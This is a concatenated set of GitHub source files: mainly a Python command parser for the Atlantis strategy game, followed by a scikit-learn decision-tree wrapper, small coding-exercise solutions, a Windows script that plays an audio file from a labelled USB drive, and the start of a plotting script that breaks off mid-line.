comment=comment)\n \n elif order == 'declare':\n if not tokens:\n raise SyntaxError('{}: missing faction'.format(line))\n fac = tokens.popleft().lower()\n if fac != 'default':\n fac = OrdersParser._value(fac)\n if not fac:\n raise SyntaxError('{}: missing faction'.format(line))\n if not tokens:\n self._consumer.order_declare(faction=fac, permanent=permanent,\n comment=comment)\n else:\n attitude = tokens.popleft().lower()\n if attitude in ('hostile', 'unfriendly', 'neutral',\n 'friendly', 'ally'):\n self._consumer.order_declare(faction=fac,\n attitude=attitude,\n permanent=permanent,\n comment=comment)\n else:\n raise SyntaxError('{}: invalid attitude'.format(line))\n \n elif order == 'describe':\n if tokens:\n target = tokens.popleft().lower()\n else:\n raise SyntaxError('{}: missing target'.format(line))\n if tokens:\n description = tokens.popleft()\n else:\n description = None\n if target == 'unit':\n self._consumer.order_describe(unit=description,\n permanent=permanent,\n comment=comment)\n elif target in ('ship', 'building', 'object', 'structure'):\n self._consumer.order_describe(structure=description,\n permanent=permanent,\n comment=comment)\n else:\n raise SyntaxError('{}: invalid target'.format(line))\n \n elif order == 'destroy':\n self._consumer.order_destroy(permanent=permanent, comment=comment)\n \n elif order == 'enter':\n if tokens:\n structure = OrdersParser._value(tokens.popleft())\n if dir:\n self._consumer.order_enter(structure=structure,\n permanent=permanent,\n comment=comment)\n else:\n raise SyntaxError('{}: invalid structure'.format(line))\n else:\n raise SyntaxError('{}: missing structure'.format(line))\n \n elif order == 'entertain':\n self._consumer.order_entertain(permanent=permanent, comment=comment)\n \n elif order == 'evict':\n targets = []\n try:\n while tokens:\n targets.append(OrdersParser._parse_unit(tokens))\n except SyntaxError as e:\n self._consumer.order_evict(targets=targets,\n permanent=permanent,\n comment=comment)\n raise SyntaxError('{}: {}'.format(line, e))\n else:\n self._consumer.order_evict(targets=targets,\n permanent=permanent,\n comment=comment)\n \n elif order == 'exchange':\n try:\n target = OrdersParser._parse_unit(tokens, allow_any=True)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n if not tokens:\n raise SyntaxError('{}: missing given amount'.format(line))\n amtGive = OrdersParser._value(tokens.popleft())\n if not tokens:\n raise SyntaxError('{}: missing given item'.format(line))\n itemGive = tokens.popleft().lower()\n if not tokens:\n raise SyntaxError('{}: missing expected amount'.format(line))\n amtExpected = OrdersParser._value(tokens.popleft())\n if not tokens:\n raise SyntaxError('{}: missing expected item'.format(line))\n itemExpected = tokens.popleft().lower()\n self._consumer.order_exchange(\n target=target, give={'amt': amtGive, 'item': itemGive},\n expected={'amt': amtExpected, 'item': itemExpected},\n permanent=permanent, comment=comment)\n \n elif order == 'faction':\n if not tokens:\n raise SyntaxError('{}: missing faction type'.format(line))\n ftype = {}\n while tokens:\n t = tokens.popleft().lower()\n if not tokens:\n raise SyntaxError('{}: invalid value'.format(line))\n ftype[t] = OrdersParser._value(tokens.popleft())\n self._consumer.order_faction(permanent=permanent, comment=comment,\n **ftype)\n \n elif order == 'find':\n if not tokens:\n raise SyntaxError('{}: missing faction'.format(line))\n fac = tokens.popleft().lower()\n if fac != 'all':\n fac = OrdersParser._value(fac)\n if not fac:\n raise SyntaxError('{}: invalid faction'.format(line))\n self._consumer.order_find(permanent=permanent, comment=comment,\n faction=fac)\n \n elif order == 'forget':\n if not tokens:\n raise SyntaxError('{}: missing skill'.format(line))\n self._consumer.order_forget(permanent=permanent, comment=comment,\n skill=tokens.popleft().lower())\n \n elif order == 'withdraw':\n if not tokens:\n raise SyntaxError('{}: missing amount'.format(line))\n tok = tokens.popleft().lower()\n amt = OrdersParser._value(tok)\n if amt < 1:\n amt = 1\n item = tok\n elif tokens:\n item = tokens.popleft().lower()\n else:\n raise SyntaxError('{}: missing item'.format(line))\n self._consumer.order_withdraw(permanent=permanent, comment=comment,\n amt=amt, item=item)\n \n elif order == 'give':\n try:\n target = OrdersParser._parse_unit(tokens)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n if not tokens:\n raise SyntaxError('{}: missing amount'.format(line))\n amt = tokens.popleft().lower()\n if amt == 'unit':\n self._consumer.order_give(permanent=permanent, comment=comment,\n target=target, give=amt)\n else:\n if amt != 'all':\n amt = OrdersParser._value(amt)\n if not amt:\n raise SyntaxError('{}: invalid amount'.format(line))\n try:\n item = tokens.popleft().lower()\n if item == 'unfinished':\n unfinished = True\n item = tokens.popleft().lower()\n else:\n unfinished = False\n except:\n raise SyntaxError('{}: missing item'.format(line))\n \n if tokens and tokens[0].lower() == 'except':\n tok = tokens.popleft().lower()\n if amt != 'all':\n raise SyntaxError(\n '{}: except only valid with all'. format(line))\n if not tokens:\n raise SyntaxError(\n '{}: missing except value'.format(line))\n excpt = OrdersParser._value(tokens.popleft())\n if not excpt:\n raise SyntaxError(\n '{}: invalid except value'.format(line))\n self._consumer.order_give(permanent=permanent,\n comment=comment,\n target=target,\n give={'amt': amt, 'item': item,\n 'unfinished': unfinished,\n 'excpt': excpt})\n else:\n self._consumer.order_give(permanent=permanent,\n comment=comment,\n target=target,\n give={'amt': amt, 'item': item,\n 'unfinished': unfinished})\n \n elif order == 'guard':\n if not tokens:\n raise SyntaxError('{}: invalid value'.format(line))\n try:\n guard = OrdersParser._parse_TF(tokens.popleft())\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n self._consumer.order_guard(flag=guard, permanent=permanent,\n comment=comment)\n \n elif order == 'hold':\n if not tokens:\n raise SyntaxError('{}: invalid value'.format(line))\n try:\n hold = OrdersParser._parse_TF(tokens.popleft())\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n self._consumer.order_hold(flag=hold, permanent=permanent,\n comment=comment)\n \n elif order == 'join':\n try:\n target = OrdersParser._parse_unit(tokens)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n if tokens:\n tok = tokens.popleft().lower()\n if tok == 'nooverload':\n self._consumer.order_join(target=target, nooverload=True,\n permanent=permanent,\n comment=comment)\n elif tok == 'merge':\n self._consumer.order_join(target=target, merge=True,\n permanent=permanent,\n comment=comment)\n else:\n self._consumer.order_join(target=target,\n permanent=permanent,\n comment=comment)\n else:\n self._consumer.order_join(target=target,\n permanent=permanent,\n comment=comment)\n \n elif order == 'leave':\n self._consumer.order_leave(permanent=permanent, comment=comment)\n \n elif order == 'move':\n try:\n dirs = [OrdersParser._parse_dir(d.lower()) for d in tokens]\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n else:\n self._consumer.order_move(dirs=dirs, permanent=permanent,\n comment=comment)\n \n elif order == 'name':\n if len(tokens) < 2:\n raise SyntaxError('{}: missing name'.format(line))\n what, name = tokens.popleft().lower(), tokens.popleft()\n if what == 'faction':\n self._consumer.order_name(permanent=permanent, comment=comment,\n faction=name)\n elif what == 'unit':\n self._consumer.order_name(permanent=permanent, comment=comment,\n unit=name)\n elif what in ('building', 'ship', 'object', 'structure'):\n self._consumer.order_name(permanent=permanent, comment=comment,\n structure=name)\n elif what in ('village', 'town', 'city') and \\\n OrdersParser._get_legal(name):\n self._consumer.order_name(permanent=permanent, comment=comment,\n city=OrdersParser._get_legal(name))\n else:\n raise SyntaxError('{}: invalid argument'.format(line))\n \n elif order == 'noaid':\n if not tokens:\n raise SyntaxError('{}: invalid value'.format(line))\n try:\n noaid = OrdersParser._parse_TF(tokens.popleft())\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n self._consumer.order_noaid(flag=noaid, permanent=permanent,\n comment=comment)\n \n elif order == 'nocross':\n if not tokens:\n raise SyntaxError('{}: invalid value'.format(line))\n try:\n nocross = OrdersParser._parse_TF(tokens.popleft())\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n self._consumer.order_nocross(flag=nocross, permanent=permanent,\n comment=comment)\n \n elif order == 'nospoils':\n if not tokens:\n raise SyntaxError('{}: invalid value'.format(line))\n try:\n spoils_none = OrdersParser._parse_TF(tokens.popleft())\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n if spoils_none:\n self._consumer.order_spoils(spoils='none', permanent=permanent,\n comment=comment)\n else:\n self._consumer.order_spoils(spoils='all', permanent=permanent,\n comment=comment)\n raise DeprecationWarning(\n '{}: deprecated. Use SPOILS instead'.format(line))\n \n elif order == 'option':\n if not tokens:\n raise SyntaxError('{}: missing option'.format(line))\n option = tokens.popleft().lower()\n if option == 'times':\n self._consumer.order_option(times=True, permanent=permanent,\n comment=comment)\n elif option == 'notimes':\n self._consumer.order_option(times=False, permanent=permanent,\n comment=comment)\n elif option == 'showattitudes':\n self._consumer.order_option(showunitattitudes=True,\n permanent=permanent,\n comment=comment)\n elif option == 'dontshowattitudes':\n self._consumer.order_option(showunitattitudes=False,\n permanent=permanent,\n comment=comment)\n elif option == 'template':\n if not tokens:\n raise SyntaxError('{}: missing template type'.format(line))\n temformat = tokens.popleft().lower()\n if temformat in ('off', 'short', 'long', 'map'):\n self._consumer.order_option(temformat=temformat,\n permanent=permanent,\n comment=comment)\n else:\n raise SyntaxError('{}: invalid template type'.format(line))\n else:\n raise SyntaxError('{}: invalid option'.format(line))\n \n elif order == 'password':\n if not tokens:\n self._consumer.order_password(password='none',\n permanent=permanent,\n comment=comment)\n else:\n self._consumer.order_password(password=tokens.popleft(),\n permanent=permanent,\n comment=comment)\n \n elif order == 'pillage':\n self._consumer.order_pillage(permanent=permanent, comment=comment)\n \n elif order == 'prepare':\n if not tokens:\n self._consumer.order_prepare(item=None,\n permanent=permanent,\n comment=comment)\n else:\n self._consumer.order_prepare(item=tokens.popleft().lower(),\n permanent=permanent,\n comment=comment)\n \n elif order == 'weapon':\n self._consumer.order_weapon(permanent=permanent, comment=comment,\n items=[w.lower() for w in tokens])\n \n elif order == 'armor':\n self._consumer.order_armor(permanent=permanent, comment=comment,\n items=[w.lower() for w in tokens])\n \n elif order == 'produce':\n if not tokens:\n raise SyntaxError('{}: missing item'.format(line))\n item = tokens.popleft().lower()\n if OrdersParser._value(item):\n if not tokens:\n raise SyntaxError('{}: missing item'.format(line))\n self._consumer.order_produce(target=OrdersParser._value(item),\n item=tokens.popleft().lower(),\n permanent=permanent,\n comment=comment)\n else:\n self._consumer.order_produce(item=item,\n permanent=permanent,\n comment=comment)\n \n elif order == 'promote':\n try:\n unit = OrdersParser._parse_unit(tokens)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n else:\n self._consumer.order_promote(unit=unit, permanent=permanent,\n comment=comment)\n \n elif order == 'quit':\n if not tokens:\n self._consumer.order_quit(permanent=permanent, comment=comment)\n else:\n self._consumer.order_quit(password=tokens.popleft(),\n permanent=permanent, comment=comment)\n \n elif order == 'restart':\n if not tokens:\n self._consumer.order_restart(permanent=permanent,\n comment=comment)\n else:\n self._consumer.order_restart(password=tokens.popleft(),\n permanent=permanent,\n comment=comment)\n \n elif order == 'reveal':\n if not tokens:\n self._consumer.order_reveal(reveal=None, permanent=permanent,\n comment=comment)\n else:\n tok = tokens.popleft().lower()\n if tok == 'none':\n self._consumer.order_reveal(reveal=None, comment=comment,\n permanent=permanent)\n elif tok in ('unit', 'faction'):\n self._consumer.order_reveal(reveal=tok, comment=comment,\n permanent=permanent)\n else:\n raise SyntaxError('{}: invalid value'.format(line))\n \n elif order == 'sail':\n try:\n dirs = [OrdersParser._parse_dir(d.lower(), allow_enter=False) \\\n for d in tokens]\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n else:\n self._consumer.order_sail(dirs=dirs, permanent=permanent,\n comment=comment)\n \n elif order == 'sell':\n if not tokens:\n raise SyntaxError('{}: missing amount'.format(line))\n num = tokens.popleft().lower()\n if num == 'all':\n num = OrdersParser.AMT_ALL\n else:\n num = OrdersParser._value(num)\n if not num:\n raise SyntaxError('{}: missing amount'.format(line))\n if not tokens:\n raise SyntaxError('{}: missing item'.format(line))\n self._consumer.order_sell(num=num, item=tokens.popleft().lower(),\n permanent=permanent, comment=comment)\n \n elif order == 'share':\n if not tokens:\n raise SyntaxError('{}: invalid value'.format(line))\n try:\n share = OrdersParser._parse_TF(tokens.popleft())\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n self._consumer.order_share(flag=share, permanent=permanent,\n comment=comment)\n \n elif order == 'show':\n try:\n what, item = tokens.popleft().lower(), tokens.popleft().lower()\n except IndexError:\n raise SyntaxError('{}: missing target'.format(line))\n if what == 'skill':\n self._consumer.order_show(permanent=permanent, comment=comment,\n skill=item)\n elif what == 'item':\n self._consumer.order_show(permanent=permanent, comment=comment,\n item=item)\n elif what == 'object':\n self._consumer.order_show(permanent=permanent, comment=comment,\n structure=item)\n else:\n raise SyntaxError('{}: invalid target'.format(line))\n \n elif order == 'spoils':\n if not tokens:\n tok = 'all'\n else:\n tok = tokens.popleft().lower()\n if tok in ('none', 'walk', 'fly', 'swim', 'sail', 'all'):\n self._consumer.order_spoils(spoils=tok, permanent=permanent,\n comment=comment)\n else:\n raise SyntaxError('{}: invalid option'.format(line))\n \n elif order == 'steal':\n try:\n unit = OrdersParser._parse_unit(tokens)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n if not tokens:\n raise SyntaxError('{}: missing item'.format(line))\n else:\n item = tokens.popleft().lower()\n self._consumer.order_steal(target=unit, item=item,\n permanent=permanent, comment=comment)\n \n elif order == 'study':\n if not tokens:\n raise SyntaxError('{}: missing skill'.format(line))\n sk = tokens.popleft().lower()\n if tokens:\n self._consumer.order_study(\n skill=sk, level=OrdersParser._value(tokens.popleft()),\n permanent=permanent, comment=comment)\n else:\n self._consumer.order_study(skill=sk, permanent=permanent,\n comment=comment)\n \n elif order == 'take':\n if not tokens or tokens.popleft().lower() != 'from':\n raise SyntaxError('{}: missing from'.format(line))\n if not tokens:\n raise SyntaxError('{}: missing unit'.format(line))\n unit = OrdersParser._value(tokens.popleft())\n if not unit:\n raise SyntaxError('{}: invalid unit'.format(line))\n target = {'unitnum': unit}\n if not tokens:\n raise SyntaxError('{}: missing amount'.format(line))\n amt = tokens.popleft().lower()\n if amt != 'all':\n amt = OrdersParser._value(amt)\n if not amt:\n raise SyntaxError('{}: invalid amount'.format(line))\n try:\n item = tokens.popleft().lower()\n if item == 'unfinished':\n unfinished = True\n item = tokens.popleft().lower()\n else:\n unfinished = False\n except:\n raise SyntaxError('{}: missing item'.format(line))\n \n if tokens and tokens[0].lower() == 'except':\n tok = tokens.popleft().lower()\n if amt != 'all':\n raise SyntaxError(\n '{}: except only valid with all'. format(line))\n if not tokens:\n raise SyntaxError(\n '{}: missing except value'.format(line))\n excpt = OrdersParser._value(tokens.popleft())\n if not excpt:\n raise SyntaxError(\n '{}: invalid except value'.format(line))\n self._consumer.order_takefrom(permanent=permanent,\n comment=comment,\n target=target,\n give={'amt': amt, 'item': item,\n 'unfinished': unfinished,\n 'excpt': excpt})\n else:\n self._consumer.order_takefrom(permanent=permanent,\n comment=comment,\n target=target,\n give={'amt': amt, 'item': item,\n 'unfinished': unfinished})\n \n elif order == 'tax':\n self._consumer.order_tax(permanent=permanent, comment=comment)\n \n elif order == 'teach':\n if not tokens:\n raise SyntaxError('{}: missing target'.format(line))\n targets = []\n try:\n while tokens:\n targets.append(OrdersParser._parse_unit(tokens))\n except SyntaxError as e:\n self._consumer.order_teach(targets=targets,\n permanent=permanent,\n comment=comment)\n raise SyntaxError('{}: {}'.format(line, e))\n else:\n self._consumer.order_teach(targets=targets,\n permanent=permanent,\n comment=comment)\n \n elif order == 'work':\n self._consumer.order_work(permanent=permanent, comment=comment)\n \n elif order == 'transport':\n try:\n target = OrdersParser._parse_unit(tokens)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n if not tokens:\n raise SyntaxError('{}: missing amount'.format(line))\n amt = tokens.popleft().lower()\n if amt != 'all':\n amt = OrdersParser._value(amt)\n if not amt:\n raise SyntaxError('{}: invalid amount'.format(line))\n try:\n item = tokens.popleft().lower()\n if item == 'unfinished':\n unfinished = True\n item = tokens.popleft().lower()\n else:\n unfinished = False\n except:\n raise SyntaxError('{}: missing item'.format(line))\n\n if tokens and tokens[0].lower() == 'except':\n tok = tokens.popleft().lower()\n if amt != 'all':\n raise SyntaxError(\n '{}: except only valid with all'. format(line))\n if not tokens:\n raise SyntaxError(\n '{}: missing except value'.format(line))\n excpt = OrdersParser._value(tokens.popleft())\n if not excpt:\n raise SyntaxError(\n '{}: invalid except value'.format(line))\n self._consumer.order_transport(permanent=permanent,\n comment=comment,\n target=target,\n give={'amt': amt, 'item': item,\n 'unfinished': unfinished,\n 'excpt': excpt})\n else:\n self._consumer.order_transport(permanent=permanent,\n comment=comment,\n target=target,\n give={'amt': amt, 'item': item,\n 'unfinished': unfinished})\n \n elif order == 'distribute':\n try:\n target = OrdersParser._parse_unit(tokens)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n if not tokens:\n raise SyntaxError('{}: missing amount'.format(line))\n amt = tokens.popleft().lower()\n if amt != 'all':\n amt = OrdersParser._value(amt)\n if not amt:\n raise SyntaxError('{}: invalid amount'.format(line))\n try:\n item = tokens.popleft().lower()\n if item == 'unfinished':\n unfinished = True\n item = tokens.popleft().lower()\n else:\n unfinished = False\n except:\n raise SyntaxError('{}: missing item'.format(line))\n \n if tokens and tokens[0].lower() == 'except':\n tok = tokens.popleft().lower()\n if amt != 'all':\n raise SyntaxError(\n '{}: except only valid with all'. format(line))\n if not tokens:\n raise SyntaxError(\n '{}: missing except value'.format(line))\n excpt = OrdersParser._value(tokens.popleft())\n if not excpt:\n raise SyntaxError(\n '{}: invalid except value'.format(line))\n self._consumer.order_distribute(permanent=permanent,\n comment=comment,\n target=target,\n give={'amt': amt, 'item': item,\n 'unfinished': unfinished,\n 'excpt': excpt})\n else:\n self._consumer.order_distribute(permanent=permanent,\n comment=comment,\n target=target,\n give={'amt': amt, 'item': item,\n 'unfinished': unfinished})\n\n @staticmethod\n def tokenize(line):\n \"\"\"Tokenize a line\n \n Splits a line into its tokens. In Atlantis tokens are defined\n by:\n - Double quotes: everything included between a pair of double\n quotes is a token, no matter which characters are in it.\n - Comments: comments is anything after a semi-colon ;. Comments\n suffer no longer tokenization, they're a single token\n - Permanent mark: the at sign @ as the first not blank\n is interpreted as a permanent mark, and anything following\n it will be included in next turn orders template.\n - Spaces: tokens are separated by spaces.\n \n Tokenize returns a tuple with the following elements: list of\n tokens, permanent flag (True or False), comment string.\n \n Parameters:\n line The line to be tokenized\n \n Returns:\n A three elements tuple with the list of tokens, the permanent\n flag and the commend string\n \n Raises:\n SyntaxError If an error is found (like unmatched quotes)\n \n \"\"\"\n line = line.strip()\n tokens = deque()\n permanent = line.startswith('@')\n if permanent:\n line = line[1:]\n while line:\n token, line, comment = OrdersParser._get_token(line)\n if comment:\n return (tokens, permanent, token)\n else:\n tokens.append(token)\n \n return (tokens, permanent, None)\n \n @staticmethod\n def _get_token(line):\n \"\"\"Get next token of a line\n \n Reads line and get its next token and its remaining part as a\n tuple.\n \n Parameter:\n line Line string where the token is to be read\n \n Returns:\n A three elements tuple with next token, remaining part of the\n line and True if the token it's a comment, False otherwise\n \n Raises:\n SyntaxError If an error is found (like unmatched quotes)\n \n \"\"\"\n line = line.strip()\n if line.startswith('\"'):\n result = re.match(r'\"(?P.+?)\"(?P.*)', line)\n if result:\n return (result.group('token'), result.group('remaining'), False)\n else:\n raise SyntaxError('Unmatched quotes')\n elif line.startswith(';'):\n return (line[1:], None, True)\n else:\n result = re.match(r'(?P[^\\s;]+)(:?(?P[\\s;].*))?',\n line)\n return (result.group('token'), result.group('remaining'), False)\n \n @staticmethod\n def _value(token):\n \"\"\"Returns the positive integer value from the token\n \n This function works as value function in Atlantis code. Chars\n others than 0-9 are simply ignored.\n \n Parameter:\n token String which needs to be converted into number\n \n Return:\n Integer value of the token string\n \n \"\"\"\n result = re.match(r'\\d*', '0' + token)\n return int(result.group(0))\n \n @staticmethod\n def _parse_dir(token, allow_enter=True):\n \"\"\"Parse a direction string\n \n This function parse a direction string, returning its short\n value (ie, N, S, SE, instead of north, south, southeast).\n \n It raises SyntaxError if direction is not valid.\n \n Parameter:\n token String which need be parsed as a string\n allow_enter If True (default) entering and leaving structures\n are valid movements\n \n Return:\n A string with the direction, or the number of object to enter\n \n Raises:\n SyntaxError if direction is not valid\n \n \"\"\"\n for k, v in directions.items():\n if not allow_enter and k in ('in', 'out'):\n continue\n if token.lower() in (k, v):\n return k\n else:\n if not allow_enter:\n raise SyntaxError('invalid direction')\n result = OrdersParser._value(token)\n if result:\n return result\n else:\n raise SyntaxError('invalid direction')\n \n @staticmethod\n def _parse_unit(tokens, allow_any=False):\n \"\"\"Parse a target unit string\n \n This method parses a unit string as Atlantis parser does. It\n returns a dictionary for the unit id with the following keys:\n unitnum Number of the unit (in case the unit exists we'll use\n its number)\n alias Alias of the unit (in case the unit is just created)\n faction Number of the faction, to be used together with the\n alias when we're referring to a just created unit\n from another faction\n \n There's a special case when the string used for the unit is\n '0'. In this case unitnumber is set to _ANY.\n \n So unit can be referred by:\n \n As in give 127 100 silv. Return unitnumber set to number\n of the unit\n faction new \n As in give faction 12 new 3 100 silv. Return faction and\n alias numbers\n new \n As in give new 3 100 silv. Return alias number\n 0\n The special case mentioned above. unitnum is returned as\n ANY\n \n If there's a parser error a SyntaxError exception is raised.\n \n Parameters:\n tokens A list of string tokens\n allow_any If True ANY value is allowed, otherwise it raises\n a SyntaxError exception\n \n Return:\n A dictionary with unitnum, alias and faction keys\n \n Raises:\n SyntaxError if unit specification is not correctly built\n \n \"\"\"\n if not tokens:\n raise SyntaxError('missing unit')\n tok = tokens.popleft().lower()\n if tok == '0':\n if allow_any:\n return {'unitnum': OrdersParser.UNIT_ANY}\n else:\n raise SyntaxError('malformed unit')\n elif tok == 'faction':\n try:\n faction, newstr, alias = \\\n OrdersParser._value(tokens.popleft()), \\\n tokens.popleft().lower(), \\\n OrdersParser._value(tokens.popleft())\n except IndexError:\n raise SyntaxError('malformed unit')\n if not faction or not alias or newstr != 'new':\n raise SyntaxError('malformed unit')\n return {'alias': alias, 'faction': faction}\n elif tok == 'new':\n try:\n alias = OrdersParser._value(tokens.popleft())\n except IndexError:\n raise SyntaxError('malformed unit')\n if not alias:\n raise SyntaxError('malformed unit')\n return {'alias': alias}\n else:\n unitnum = OrdersParser._value(tok)\n if not unitnum:\n raise SyntaxError('malformed unit')\n return {'unitnum': unitnum}\n \n @staticmethod\n def _parse_TF(token):\n \"\"\"Parse a true or false flag\n \n Translate the true or false string to a Boolean value. True\n values are true, t, on, yes and 1. False values are false, f,\n off, no and 0.\n \n Raises a SyntaxError exception if none of this strings are\n found.\n \n Parameter:\n token String to be translated\n \n Return:\n True or False depending on the string\n \n Raises:\n SyntaxError if the string is not a true/false string\n \n \"\"\"\n if token and token.lower() in ('true', 't', 'on', 'yes', '1'):\n return True\n elif token and token.lower() in ('false', 'f', 'off', 'no', '0'):\n return False\n else:\n raise SyntaxError('invalid value')\n \n @staticmethod\n def _get_legal(token):\n \"\"\"Get rid of invalid characters in the token\n \n Valid characters are\n a-z A-Z 0-9 ! [ ] , . { } @ # $ % ^ & * - _ + = ; : <\n > ? / ~ ' \\ `\n \n Parameter:\n token String to be cleaned up from invalid characters\n \n Return:\n Cleaned up string \n \n \"\"\"\n valid = re.split(r'[^]a-zA-Z0-0![,. {}@#$%^&*-_+=;:<>?/~\\'\\\\`]', token)\n return ''.join(valid).strip()\n ","repo_name":"sharcashmo/pyAH","sub_path":"pyAH/atlantis/parsers/ordersparser.py","file_name":"ordersparser.py","file_ext":"py","file_size_in_byte":51408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34760375499","text":"from sklearn.tree import DecisionTreeClassifier\nfrom src.models.vanilla_classifier import VanillaClassifier\n\n\nclass DecisionTree(VanillaClassifier):\n \"\"\"\n Decision Tree Classifier\n ==================\n Child class implementing Decision Tree classifying model.\n Attributes\n ==========\n _criterion - Function to measure quality of a split\n _data_processing - Type of processed data to use in the training est testing process\n \"\"\"\n def __init__(self, _criterion='gini', data_process=None):\n super().__init__(DecisionTreeClassifier(criterion=_criterion), data_process=data_process)\n self.parameters = {'criterion': _criterion}\n self.param_grid = self.get_param_grid()\n\n def get_param_grid(self):\n return {'criterion': ['gini', 'entropy'],\n 'max_depth': [50, 100],\n 'min_samples_split': [2, 3, 5],\n 'min_samples_leaf': [3, 5]\n }\n\n","repo_name":"mwlussier/leaf_classification","sub_path":"src/models/decision_tree_classifier.py","file_name":"decision_tree_classifier.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16240072602","text":"#Rotation game optimized\ndef main():\n # YOUR CODE GOES HERE\n # Please take input and print output to standard input/output (stdin/stdout)\n # E.g. 'input()/raw_input()' for input & 'print' for output\n A = list(map(int, input().strip().split()))\n k = int(input())\n N = A.pop(0)\n if k > N :\n k = k % N\n\n #reverse the list\n A = A[::-1] \n A = A[0:k:1][::-1] + A[k:len(A):1][::-1]\n print(A)\n return 0\n\nif __name__ == '__main__':\n main()","repo_name":"aman-bcalm/Scaler-Problems","sub_path":"Day 6/RotationGameOpt.py","file_name":"RotationGameOpt.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26216973341","text":"# https://leetcode.com/problems/substrings-that-begin-and-end-with-the-same-letter/\n# 1AC, count it\n\nfrom collections import defaultdict\n\nclass Solution:\n def numberOfSubstrings(self, s: str) -> int:\n mm = defaultdict(int)\n for c in s:\n mm[c] += 1\n\n res = len(s)\n for k, v in mm.items():\n res += v * (v - 1) // 2\n\n return res\n","repo_name":"zhuli19901106/leetcode-zhuli","sub_path":"algorithms/2001-2500/2083_substrings-that-begin-and-end-with-the-same-letter_1_AC.py","file_name":"2083_substrings-that-begin-and-end-with-the-same-letter_1_AC.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":557,"dataset":"github-code","pt":"72"} +{"seq_id":"9050697901","text":"\"\"\"\r\n2. Read an mp3 file from a usb mass storage device with a particular label and play the audio file on powered speaker or headphone.\r\n\"\"\"\r\n\r\nfrom playsound import playsound\r\n\r\n# playsound('C:\\\\Users\\\\rajatkumar\\\\Music\\\\timer.wav')\r\n# playsound('E:timer.wav')\r\n\r\nimport win32api\r\nfrom ctypes import windll\r\n\r\n\r\ndef get_drives():\r\n drives = []\r\n bitmask = windll.kernel32.GetLogicalDrives()\r\n letter = ord('A')\r\n while bitmask > 0:\r\n if bitmask & 1:\r\n drives.append(chr(letter) + ':\\\\')\r\n bitmask >>= 1\r\n letter += 1\r\n\r\n return drives\r\n\r\n\r\nif __name__ == '__main__':\r\n drives = get_drives()\r\n # print(drives)\r\n drive_names = {}\r\n\r\n for i in range(len(drives)):\r\n name = (win32api.GetVolumeInformation(drives[i]))\r\n drive_names[name[0]] = drives[i]\r\n\r\n print(drive_names)\r\n\r\n label = input(\"Enter Label : \")\r\n d = drive_names[label]\r\n d = d[:-1]\r\n file_name = input(\"Enter File Name : \")\r\n # file_name = \"timer.wav\"\r\n file_name = d + file_name\r\n print(\"This file is going to Play\", file_name)\r\n try:\r\n playsound(file_name)\r\n except:\r\n print(\"File not Found\")\r\n","repo_name":"im-Rajat/Learning-Python","sub_path":"Practice-Python/Assignment2/Q2.py","file_name":"Q2.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"8211603418","text":"import re\nfrom glob import glob\n\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as mticker\n\n# import numpy as np\n# from matplotlib import gridspec\nimport os\n\nfrom lib import figure_util\nimport simulation_processor\n\nfigure_util.apply_style()\n# plt.style.use('../figstyle.mpl')\n\n\ndef plot_sigb(ax, biofilm_df, **kwargs):\n grped = biofilm_df.groupby(\"dist\")\n sigbd, = ax.plot(grped[\"dist\"].median(), grped[\"Bsamp\"].mean(), **kwargs)\n # ax.fill_between(grped[\"dist\"].median(),\n # grped[\"Bsamp\"].mean() - grped[\"Bsamp\"].sem(),\n # grped[\"Bsamp\"].mean() + grped[\"Bsamp\"].sem(), alpha=0.4, **kwargs)\n return ax, sigbd\n\n\ndef get_figure(ax, wt_df, x2_df, **kwargs):\n ax, wtp = plot_sigb(\n ax, wt_df, color=figure_util.strain_color[\"JLB077\"], label=\"$s_B$\"\n )\n ax, x2p = plot_sigb(\n ax, x2_df, color=figure_util.strain_color[\"JLB117\"], label=\"2 $\\\\times s_B$\"\n )\n source_cols = [\"dist\", \"Bsamp\", \"sim_id\"]\n wt_df[source_cols].to_csv(\"source_data/figure7_d_wt.tsv\", sep=\"\\t\")\n x2_df[source_cols].to_csv(\"source_data/figure7_d_2xqp.tsv\", sep=\"\\t\")\n ax.set_ylim(bottom=0)\n ax.set_xlim(left=0)\n ax.legend()\n return ax, [wtp, x2p]\n\n\ndef main():\n this_dir = os.path.dirname(__file__)\n runf = os.path.join(this_dir, \"../../../stochastic/algo/luna/final_sweeps/\")\n pulse_wt_info = (\n \"Pulsing dynamics WT\",\n glob(runf + \"movethresh3/bfsim_b_qp|*pscale_a=0.7*,pscale_b=0.25*.tsv\")[0],\n )\n pulse_2x_info = (\n \"Pulsing dynamics 2xQP\",\n glob(runf + \"movethresh3/bfsim_b_qp|*pscale_a=0.7*,pscale_b=0.5*.tsv\")[0],\n )\n # bistb_wt_info = (\"Bistable WT\", glob(runf + \"movethresh3/bfsim_b_qp|*pscale_a=3.6*,pscale_b=2.0*.tsv\")[0])\n # bistb_2x_info = (\"Bistable 2xQP\", 